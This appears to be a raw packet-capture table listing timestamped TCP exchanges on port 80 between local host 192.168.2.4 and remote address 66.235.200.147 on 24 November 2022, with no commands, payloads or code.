Nov 24, 2022 13:27:50.334559917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334566116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334589005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334606886 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334611893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334635019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334654093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334657907 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334681034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334682941 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334703922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334726095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334748030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334760904 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334790945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334980965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335078001 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335082054 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335124969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335149050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335175037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335180998 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335202932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335225105 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335237980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335262060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335284948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335293055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335316896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335340977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335344076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335370064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335393906 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335400105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335424900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335448980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335458040 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335477114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335495949 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335506916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335529089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335550070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335567951 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335580111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335597038 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335609913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335632086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335654020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335680008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335681915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335706949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335725069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335743904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335787058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335855961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.335915089 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.335952044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336035013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336074114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336090088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336103916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336126089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336148977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336159945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336175919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336194038 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336205959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336227894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336250067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336266041 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336277962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336306095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336311102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336333036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336355925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336371899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336385012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336404085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336415052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336437941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336462021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336472034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336489916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336513042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336527109 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336539984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336563110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336572886 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336591005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336613894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336622953 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336642027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336667061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336672068 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336694956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336720943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336724997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336791992 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.336833000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336911917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.336987972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337018967 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337021112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337078094 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337081909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337106943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337129116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337157965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337157965 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337183952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337209940 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337212086 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337236881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337265968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337265968 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337291002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337316036 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337320089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337343931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337371111 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337371111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337397099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337421894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337424994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337449074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337472916 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337476969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337500095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337521076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337543011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337564945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337594986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337595940 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337624073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337641954 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337654114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337673903 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337697029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337737083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337755919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337793112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337852955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337853909 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337904930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337930918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337956905 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.337971926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.337995052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338021040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338026047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338049889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338068962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338080883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338103056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338126898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338130951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338155985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338180065 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338185072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338208914 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338236094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338236094 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338262081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338288069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338290930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338315964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338336945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338352919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338366032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338377953 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338396072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338418961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338442087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338452101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338468075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338495016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338495970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338520050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338546991 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338547945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338573933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338597059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338603973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338628054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338654995 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338654995 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338679075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338705063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338711023 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338732004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338757992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338758945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338783979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338809013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338816881 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.338836908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.338865042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357152939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357223034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357259035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357676029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357713938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357739925 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357760906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357783079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357810020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357824087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357846975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357872009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357886076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357908010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357929945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.357949972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357971907 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.357997894 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358011961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358035088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358061075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358078003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358099937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358125925 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358144999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358194113 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358232021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358270884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358325958 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358362913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358402014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358453035 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358490944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358515024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358536959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358557940 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358577967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358602047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358622074 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358639956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358663082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358681917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358700991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358722925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358747005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358766079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358788013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358810902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358829975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358853102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358886003 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358916044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358939886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.358968973 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.358983040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359005928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359025955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359044075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359066963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359090090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359134912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359181881 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359206915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359241962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359286070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359343052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359379053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359426975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359430075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359456062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359474897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359499931 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359518051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359539986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359565020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359584093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359606028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359632015 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359649897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359673023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359697104 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359714985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359736919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359760046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359778881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359801054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359818935 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359848022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359872103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359890938 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359915018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359937906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.359956980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.359977961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360001087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360022068 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360044956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360069990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360094070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360204935 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360255957 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360311985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360382080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360407114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360428095 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360450983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360474110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360495090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360515118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360534906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360558033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360578060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360601902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360620022 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360642910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360666037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360699892 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360734940 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360781908 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360784054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360816956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360862970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360866070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360898018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360944033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.360925913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.360977888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361006975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361032963 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361182928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361241102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361346006 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361392975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361422062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361443043 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361460924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361490011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361521959 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361526966 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361562014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361571074 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361598015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361629963 CET	80	49701	66.235.200.147	192.168.2.4
